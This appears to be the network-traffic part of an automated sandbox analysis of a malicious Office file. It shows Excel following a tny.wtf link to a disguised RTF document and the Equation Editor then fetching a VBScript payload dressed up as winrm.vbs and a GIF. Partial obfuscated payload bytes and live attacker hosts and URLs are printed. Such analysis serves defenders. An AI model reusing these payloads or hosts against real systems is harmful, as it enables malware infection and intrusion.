Jul 26, 2024 08:24:52.097709894 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097721100 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097732067 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097738028 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097742081 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097753048 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097760916 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097764015 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097781897 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097932100 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097943068 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097953081 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097964048 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097971916 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097982883 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.097992897 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.097994089 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.098005056 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.098016977 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.098242044 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.098253965 CEST	80	49172	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:52.098284960 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.190679073 CEST	49172	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:52.191370010 CEST	49171	80	192.168.2.22	198.46.176.133
Jul 26, 2024 08:25:36.400923014 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:25:36.401015043 CEST	49168	80	192.168.2.22	188.114.97.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 08:24:34.530459881 CEST	54562	53	192.168.2.22	8.8.8.8
Jul 26, 2024 08:24:34.541492939 CEST	53	54562	8.8.8.8	192.168.2.22
Jul 26, 2024 08:24:36.750919104 CEST	52917	53	192.168.2.22	8.8.8.8
Jul 26, 2024 08:24:36.760668039 CEST	53	52917	8.8.8.8	192.168.2.22
Jul 26, 2024 08:24:38.537373066 CEST	62751	53	192.168.2.22	8.8.8.8
Jul 26, 2024 08:24:38.548377037 CEST	53	62751	8.8.8.8	192.168.2.22
Jul 26, 2024 08:24:38.550374985 CEST	57893	53	192.168.2.22	8.8.8.8
Jul 26, 2024 08:24:38.561120987 CEST	53	57893	8.8.8.8	192.168.2.22
Jul 26, 2024 08:24:42.380235910 CEST	54821	53	192.168.2.22	8.8.8.8
Jul 26, 2024 08:24:42.391953945 CEST	53	54821	8.8.8.8	192.168.2.22
Jul 26, 2024 08:24:42.393402100 CEST	54719	53	192.168.2.22	8.8.8.8
Jul 26, 2024 08:24:42.407871962 CEST	53	54719	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 26, 2024 08:24:34.530459881 CEST	192.168.2.22	8.8.8.8	0x7fca	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:36.750919104 CEST	192.168.2.22	8.8.8.8	0x989e	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:38.537373066 CEST	192.168.2.22	8.8.8.8	0x1d57	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:38.550374985 CEST	192.168.2.22	8.8.8.8	0xfd40	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:42.380235910 CEST	192.168.2.22	8.8.8.8	0x1100	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:42.393402100 CEST	192.168.2.22	8.8.8.8	0x2664	Standard query (0)	tny.wtf	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 08:24:34.541492939 CEST	8.8.8.8	192.168.2.22	0x7fca	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:34.541492939 CEST	8.8.8.8	192.168.2.22	0x7fca	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:36.760668039 CEST	8.8.8.8	192.168.2.22	0x989e	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:36.760668039 CEST	8.8.8.8	192.168.2.22	0x989e	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:38.548377037 CEST	8.8.8.8	192.168.2.22	0x1d57	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:38.548377037 CEST	8.8.8.8	192.168.2.22	0x1d57	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:38.561120987 CEST	8.8.8.8	192.168.2.22	0xfd40	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:38.561120987 CEST	8.8.8.8	192.168.2.22	0xfd40	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:42.391953945 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:42.391953945 CEST	8.8.8.8	192.168.2.22	0x1100	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:42.407871962 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	tny.wtf	188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 08:24:42.407871962 CEST	8.8.8.8	192.168.2.22	0x2664	No error (0)	tny.wtf	188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tny.wtf

192.227.225.166

198.46.176.133

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49165	188.114.97.3	80	1800	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:34.562410116 CEST	317	OUT	GET /4Gs HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: tny.wtf Connection: Keep-Alive
Jul 26, 2024 08:24:35.704056978 CEST	732	IN	HTTP/1.1 302 Found Date: Fri, 26 Jul 2024 06:24:35 GMT Transfer-Encoding: chunked Connection: keep-alive Location: http://192.227.225.166/36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ewXed60uUT%2FyUukYP4nYFpcB9Z7LhQMghKFbH6UKuPE2JsOm54jT0aLYhww0hx5mDIxiornAK6v3FO3HTPAJ025PFakfUVY3d1L0Li4EmIG1PtoK68M3W5Ds"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924eba9f4f1859-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49166	192.227.225.166	80	1800	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:35.717964888 CEST	467	OUT	GET /36/hb/createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy.doc HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.227.225.166 Connection: Keep-Alive
Jul 26, 2024 08:24:36.201911926 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:24:36 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 25 Jul 2024 02:39:01 GMT ETag: "16065-61e094c2e7a6c" Accept-Ranges: bytes Content-Length: 90213 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword Data Raw: 7b 5c 72 74 66 31 0d 09 7b 5c 2a 5c 66 6c 64 69 6e 73 74 36 32 32 32 34 39 37 37 37 20 5c 2b 7d 0d 7b 5c 37 31 38 38 38 31 36 36 32 3e 2e 3d b5 33 3f 7e 38 60 36 21 38 36 3f 3f 3f 34 60 2d b0 27 2f 2a 36 29 30 34 2b 25 34 3e 40 a7 37 2b 29 39 3c 24 33 2e 2c 25 24 37 27 5b 2a 30 b5 2c b0 34 3f 3d 26 2d 23 3f b0 60 2a 39 30 25 3d 5b 33 28 2c 39 3f 7e 28 37 3f 5b 3c 3d 3f 3f 39 b0 3c 26 3f 27 33 25 2c 3f 5e 3e 60 35 23 35 3c 7e 3f 37 2e 3f 2a 2b 5b 3f a7 3d 32 27 35 2c 40 33 38 34 30 36 26 25 40 27 3f 28 3f 2c 2c 5f a7 39 40 31 7e 3c 2a 27 60 2b 27 30 3f 3f 3f 60 3a 38 2f 60 2f 33 3b 2d 5d 29 b0 2e 3c 32 34 3a 3f 60 3a 21 3f b0 3c 7c 36 24 60 7c 31 29 3f 5e 29 5f 5b 3c 3f 30 a7 24 7c 3f 39 3d 31 3f 5e 33 25 3e 3f 3f 3a 3c 40 3f 38 5b 30 3f 2f 2c 3a 3f 25 2d 3f 5f 30 3f 27 2c 60 3f 3f b0 25 31 60 b5 3a 3a 26 3d 3f 5d 40 5f 3d 29 2d 23 5b 2d 37 5d 28 36 35 21 7c 39 40 2b 2f 5b 37 2f 31 3e b0 37 32 2c 37 60 38 2b 3f 28 3f 28 2e 33 60 3f 37 3f 7e b0 3f 2a 31 2a 60 2a 36 2d 36 60 26 40 7e 28 2f 37 27 2f 28 [TRUNCATED] Data Ascii: {\rtf1{\\fldinst622249777 \+}{\718881662>.=3?~8`6!86???4`-'/6)04+%4>@7+)9<$3.,%$7'[0,4?=&-#?`90%=[3(,9?~(7?[<=??9<&?'3%,?^>`5#5<~?7.?+[?=2'5,@38406&%@'?(?,,_9@1~<'`+'0???`:8/`/3;-]).<24:?`:!?<\|6$`\|1)?^)_[<?0$\|?9=1?^3%>??:<@?8[0?/,:?%-?_0?',`??%1`::&=?]@_=)-#[-7](65!\|9@+/[7/1>72,7`8+?(?(.3`?7?~?1`6-6`&@~(/7'/(~^%)8#4`>8;49)??8/?`9/?\|_0,:61~:1%8`#98-6^5:?]!&5#2@!%??`4#-:+%=!3=?5'[8,)]8?<;&4'?3[^==/%!$9`?;?8=%1?\|!:(3_-<(,3106^3;;)?16?]<>6;:%%8_\|':>$2[%/9-$;@\|#!/^>6%<($!%++~:\|7_%><2=%?<~+62(?)\|\|#:>9]~52(``07[2;?;1?3:4+2#;%?$???9?79??!~]&40.1?6;]?4^=%!18?&2\|[>4#_&21[/[\|@@+@9%!9$2>-!`[@@=+25+0<0?0:8@.?\|<?5=%(>:%^$'4?4)?+4-@#_<#%>35;!$;!(?(-[5^]?6?6-:??:52=-.6~)[?&\|/9^46:?<<]!+\|9]$6[5[]+0?~?^]4]%~)^\|.,$0,+9&^20^5)>]>;(+93\|!,(\|91<[.:?@'81(+&86?;_&$:.+0]!:.'(#34#>%?22~)?:03#>10-708\|<\|_)^4_?$<=&&7875&=4???[%6%#][?6[?>04!2$\|.(
Jul 26, 2024 08:24:36.201997995 CEST	1236	IN	Data Raw: 3c 30 21 38 23 25 32 27 5e 36 3f 40 25 24 5d 37 5b 38 2b 24 3f 2a 60 3f 28 2f 3f 30 a7 32 2d 7e 2e 2f 3f 28 2e 2f a7 3e 39 35 34 3f 3a 3f a7 3f 3e b5 2b b0 2f 34 31 b0 39 29 5f 3d 40 b5 36 32 3c 7e 36 60 5f 24 3d 60 5b 30 2f 29 30 3f 2b 36 34 24 Data Ascii: <0!8#%2'^6?@%$]7[8+$?`?(/?02-~./?(./>954?:??>+/419)_=@62<~6`_$=`[0/)0?+64$?#~%`&-?]~#]49?()<4\|1'6%.0<9!.5-03_99?5#![%:?\|%+_@:`/%^1[0%?\|?8%'1='''`~!<2?:/<>:8?9,[?<6?~~:%0??4[9^?;4\|#.`9?(0\|,;~.!?`@?'7?8)_7(=!.>=]5=]?3`[<\|=
Jul 26, 2024 08:24:36.202012062 CEST	448	IN	Data Raw: 2b 3f 38 37 30 3f 3f 21 5b 25 5b 25 2e 28 25 3a 2e 2a 3f 3f b5 3f 32 38 3f 5e 23 3a 3d b0 7e 25 21 3f 3f 3c 5b 23 2f 38 b5 a7 5b 3a 26 23 60 35 7c 25 3f 3b 21 40 3a b5 28 40 3f 60 2d 7c 38 2a b5 5f 2d 28 a7 7e 3b 35 34 26 40 3d 2a 25 29 2c 3f 37 Data Ascii: +?870??![%[%.(%:.???28?^#:=~%!??<[#/8[:&#`5\|%?;!@:(@?`-\|8_-(~;54&@=%),?78,~(1:%1,.?48=?9$7%':4/7&_,,]2\|-_?(5%?%-?,:?,):%>=~\|%#12=;!~~[<5;,%>:,]?00%%?=)5`52?!'??!0&*$.:@4?4+)/79~.~87%?]+7-/?~7$?-~,/$[=\|#@/`0=@3[/!+\|3:4`7,
Jul 26, 2024 08:24:36.202529907 CEST	1236	IN	Data Raw: 7e 5f 3c 2b 21 40 3f 33 3f b5 31 3f 29 7e 3d 3b 60 3f 3e 21 3f 3f 29 25 2e 2c 3e 2c 2f a7 32 3f 24 5d 5d 30 a7 2f 35 24 39 21 3f 5f 2b 2c 2f 3c 35 3a 35 3f 7c b5 28 36 29 a7 30 38 40 3e b5 36 34 3c 27 29 25 3f 60 5d 35 5e 36 34 5f 2c 2e 5d 3f 5b Data Ascii: ~_<+!@?3?1?)~=;`?>!??)%.,>,/2?$]]0/5$9!?_+,/<5:5?\|(6)08@>64<')%?`]5^64_,.]?[+90?[[]49%84;1&9%?87?2=\|&40=@\|\|\|@98:7^,)~?8]6?0&?]2!`@//?#9,-6#7>\|^&%7%='.;>#2%#0,_@.9#??!+`4?_:<61[?3.\|^9.6;1[?;@#!;;[_;!:57&-\|/_=]59?\|&,:,6.`2?-.
Jul 26, 2024 08:24:36.202543020 CEST	1236	IN	Data Raw: 25 2d b0 7c a7 5e 25 3f 3c 5e 28 24 39 40 3f 25 3c 32 3b b0 7e 5e 3c 39 3f 3f 5d 28 29 37 31 7e 2d 2b 3a 29 25 3b 3f b5 b0 3f 27 31 32 3f 3f b0 b0 7e 37 3e 28 33 29 3a 3e 34 2f 3b 31 b5 7e b5 32 39 24 2a 39 3a 5d 25 5e a7 b5 33 3d 35 3f 3a 29 7e Data Ascii: %-\|^%?<^($9@?%<2;~^<9??]()71~-+:)%;??'12??~7>(3):>4/;1~29$9:]%^3=5?:)~2(~&2?,1?_^_%`26,-&0%]~\|\|<6=71;7_!@=1?(44?]1_(2?<818%-34=>1_[##=/[]:3=4?='~1(;^/><;94_~41\|81-=\|?.!+#\|_(!8??#&?^?('=,~2@6:&54.60381.2'6;8&57_[&?,3'[?,
Jul 26, 2024 08:24:36.203207016 CEST	1236	IN	Data Raw: 26 30 3f 3e 2d 25 2f 32 3f 5e 5f 7e 7c b0 21 3a 35 36 21 5b 25 27 3f 24 3f 5f 34 28 24 28 5b 60 2f 33 3d 3d 38 23 3e 40 b0 3a 31 25 39 2a 32 3f 31 5b 27 2d 2c 3e a7 3f 3f 25 60 7c 3e 33 39 2c 3f 23 27 25 3f 3c 30 25 a7 3b 3f 3f 40 26 35 27 3b 34 Data Ascii: &0?>-%/2?^_~\|!:56![%'?$?_4($([`/3==8#>@:1%9*2?1['-,>??%`\|>39,?#'%?<0%;??@&5';4]'95:;31_':=</+[5?':#(1`%6\|5+$39/9`9;]#?5081?7!`^\|/?%;13?07%\|.<2~~'+'=+@8=??%+/\|3,\|\|3$??9?!@`7+@&&3!3(/,$,^^;_%:/><`'29/0<^%$9+2$]$[?_>(3/]_7%0<+4@2
Jul 26, 2024 08:24:36.203217983 CEST	1236	IN	Data Raw: 5c 2a 5c 6c 69 6e 65 46 69 6c 6c 48 65 69 67 68 74 36 36 30 33 34 38 35 38 39 20 5c 62 69 6e 30 30 30 30 30 30 30 5c 31 35 34 34 30 37 33 37 37 38 34 33 35 33 32 31 34 30 7d 0d 5c 68 79 70 68 63 6f 6e 73 65 63 38 39 34 36 30 34 30 36 38 39 31 35 Data Ascii: \*\lineFillHeight660348589 \bin0000000\154407377843532140}\hyphconsec89460406891532\ignoremixedcontent823738787\'? {\object\YDRQFKZUSKTIYJZLMNPRQPWRRbi
Jul 26, 2024 08:24:36.203974009 CEST	1236	IN	Data Raw: 35 36 31 35 09 20 20 20 20 09 09 09 20 20 20 20 09 09 20 20 20 09 09 20 20 20 20 09 09 20 09 09 20 09 20 20 09 20 09 20 09 20 09 20 09 20 20 20 20 20 20 09 20 09 09 20 20 09 09 20 09 20 09 20 20 20 09 20 20 20 20 20 34 09 20 20 09 09 20 20 09 09 Data Ascii: 5615 4 494 f6e
Jul 26, 2024 08:24:36.203985929 CEST	1236	IN	Data Raw: 20 20 09 09 09 20 20 09 09 09 09 20 20 20 20 09 09 09 09 09 09 20 09 20 09 09 20 20 20 20 09 09 09 20 20 20 09 20 20 20 20 20 31 33 09 09 20 09 09 20 20 20 09 20 09 09 09 09 20 09 20 20 09 20 09 09 20 09 20 20 09 20 20 09 20 09 09 20 09 20 09 09 Data Ascii: 13 d9 7
Jul 26, 2024 08:24:36.204713106 CEST	1236	IN	Data Raw: 09 20 20 09 09 09 20 09 20 09 09 20 09 09 09 20 09 09 09 09 20 09 09 20 09 20 09 20 20 20 31 20 20 20 09 09 09 09 09 09 20 09 09 20 09 20 20 20 20 20 20 09 09 20 09 09 20 09 20 20 09 20 09 20 20 20 20 20 20 09 20 20 20 09 09 20 20 09 09 20 20 09 Data Ascii: 1 2b e1a08
Jul 26, 2024 08:24:36.207916021 CEST	1236	IN	Data Raw: 09 20 20 09 09 20 09 20 09 20 20 20 20 09 20 09 20 09 09 09 20 09 20 09 20 09 09 09 09 09 09 09 20 09 09 09 20 09 20 20 20 20 20 09 09 20 20 09 09 09 09 20 20 20 20 09 09 20 09 20 09 20 20 20 66 0a 0a 0d 0d 0d 0a 0d 0a 0a 0d 0d 0d 0d 0d 0d 0a 0a Data Ascii: f88a2d a2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	188.114.97.3	80	1536	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:36.769563913 CEST	129	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 08:24:37.342529058 CEST	560	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 06:24:37 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4GKbrAxCyu4ckcdd7iAo6Tcgp03XtmVNauhTW%2BRSmJpBVdfbISz3z5H2VVSfWhvepwJdddiwDm9DpAxY3Ws6PRi8spA%2FrtdxjnFTBUTzYy8GJUBV%2BIz55ISJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924ec87aa64313-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 08:24:38.038249969 CEST	129	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 08:24:38.185475111 CEST	562	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 06:24:38 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjeXUPP%2Byx8OMG9N9HzL4IZTz%2BAwP%2F99bGilspcytz3uC41pT1xHW0iGDns6WkkaU5sfrWoXXHX3lCgvV%2BmMaZbTfvy7vrlEBPsIDJbqb323zERZW0REjqej"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924ece0d584313-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 08:24:38.324079037 CEST	129	OUT	OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 08:24:38.474283934 CEST	562	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Jul 2024 06:24:38 GMT Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NG6Uq5267NqFBP7Uub3HfRj4kZlEOxPXgjo9NgxscAhjB9krNmL4T4ik3i%2Ba%2Fy%2B9KqKrheMllf%2F9tTMRzp7hmj59rUpKPJ5N9H0vyULV3EKq6syPPsRVGHKi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924ecfde454313-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Jul 26, 2024 08:24:43.100250006 CEST	130	OUT	HEAD /4Gs HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: tny.wtf Content-Length: 0 Connection: Keep-Alive
Jul 26, 2024 08:24:43.247272015 CEST	546	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 06:24:43 GMT Connection: keep-alive Allow: GET X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EWfjIOqD49UtDD%2B9zulgZ3pBQ14b4qouGUqoZW7%2Fs15Q6wHUxJXT8uXmzevHP2aH2f6g3jaUIvaCDSANNBu2ePqsQDtlBoCEHwB09pYw0LvFDI65h8WPE8w8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924eedae454313-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	188.114.97.3	80	1536	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:38.567225933 CEST	111	OUT	HEAD /4Gs HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft Office Existence Discovery Host: tny.wtf
Jul 26, 2024 08:24:39.137139082 CEST	560	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 06:24:39 GMT Connection: keep-alive Allow: GET X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TSDeyAVRlkEwCH8%2BmMJDygHfI7%2Fx%2B5AkeYrdQGsjIPM%2BTX0BNONLEJrXj7s99lSv%2BeJuyBe%2B86Xml89p%2Fy%2FNFgO3Z8yLgew351HS0HL2kEb6SRQoz6%2B3wyji"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924ed3af7342cf-EWR alt-svc: h3=":443"; ma=86400
Jul 26, 2024 08:24:39.346111059 CEST	560	IN	HTTP/1.1 405 Method Not Allowed Date: Fri, 26 Jul 2024 06:24:39 GMT Connection: keep-alive Allow: GET X-Powered-By: ASP.NET CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TSDeyAVRlkEwCH8%2BmMJDygHfI7%2Fx%2B5AkeYrdQGsjIPM%2BTX0BNONLEJrXj7s99lSv%2BeJuyBe%2B86Xml89p%2Fy%2FNFgO3Z8yLgew351HS0HL2kEb6SRQoz6%2B3wyji"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a924ed3af7342cf-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	192.227.225.166	80	3248	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 08:24:43.835028887 CEST	338	OUT	GET /36/simplebeautygirlfrndhaveforme.gIF HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 192.227.225.166 Connection: Keep-Alive
Jul 26, 2024 08:24:44.360832930 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 06:24:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 25 Jul 2024 11:02:56 GMT ETag: "65868-61e10565301a5" Accept-Ranges: bytes Content-Length: 415848 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/gif Data Raw: ff fe 27 00 0d 00 0a 00 27 00 20 00 43 00 6f 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 63 00 29 00 20 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 43 00 6f 00 72 00 70 00 6f 00 72 00 61 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 20 00 41 00 6c 00 6c 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2e 00 0d 00 0a 00 27 00 0d 00 0a 00 27 00 20 00 56 00 42 00 53 00 63 00 72 00 69 00 70 00 74 00 20 00 53 00 6f 00 75 00 72 00 63 00 65 00 20 00 46 00 69 00 6c 00 65 00 0d 00 0a 00 27 00 0d 00 0a 00 27 00 20 00 53 00 63 00 72 00 69 00 70 00 74 00 20 00 4e 00 61 00 6d 00 65 00 3a 00 20 00 77 00 69 00 6e 00 72 00 6d 00 2e 00 76 00 62 00 73 00 0d 00 0a 00 27 00 0d 00 0a 00 0d 00 0a 00 4f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 45 00 78 00 70 00 6c 00 69 00 63 00 69 00 74 00 0d 00 0a 00 0d 00 0a 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 27 00 0d 00 0a 00 [TRUNCATED] Data Ascii: '' Copyright (c) Microsoft Corporation. All rights reserved.'' VBScript Source File'' Script Name: winrm.vbs'Option Explicit'''''''''''''''''''''' Error codesprivate const ERR_OK = 0private const lampejante = 1'''''''''''''''''''''' Messagesprivate const L_ONLYCSCRIPT_Message = "Can be executed only by cscript.exe."private const L_UNKOPNM_Message = "Unknown operation name: "private const L_OP_
Jul 26, 2024 08:24:44.360934019 CEST	224	IN	Data Raw: 4d 00 65 00 73 00 73 00 61 00 67 00 65 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 3d 00 20 00 22 00 4f 00 70 00 65 00 72 00 61 00 74 00 69 00 6f 00 6e 00 20 00 2d 00 20 00 22 00 0d 00 0a 00 70 00 72 00 Data Ascii: Message = "Operation - "private const L_NOFILE_Message = "File does not exist: "privat
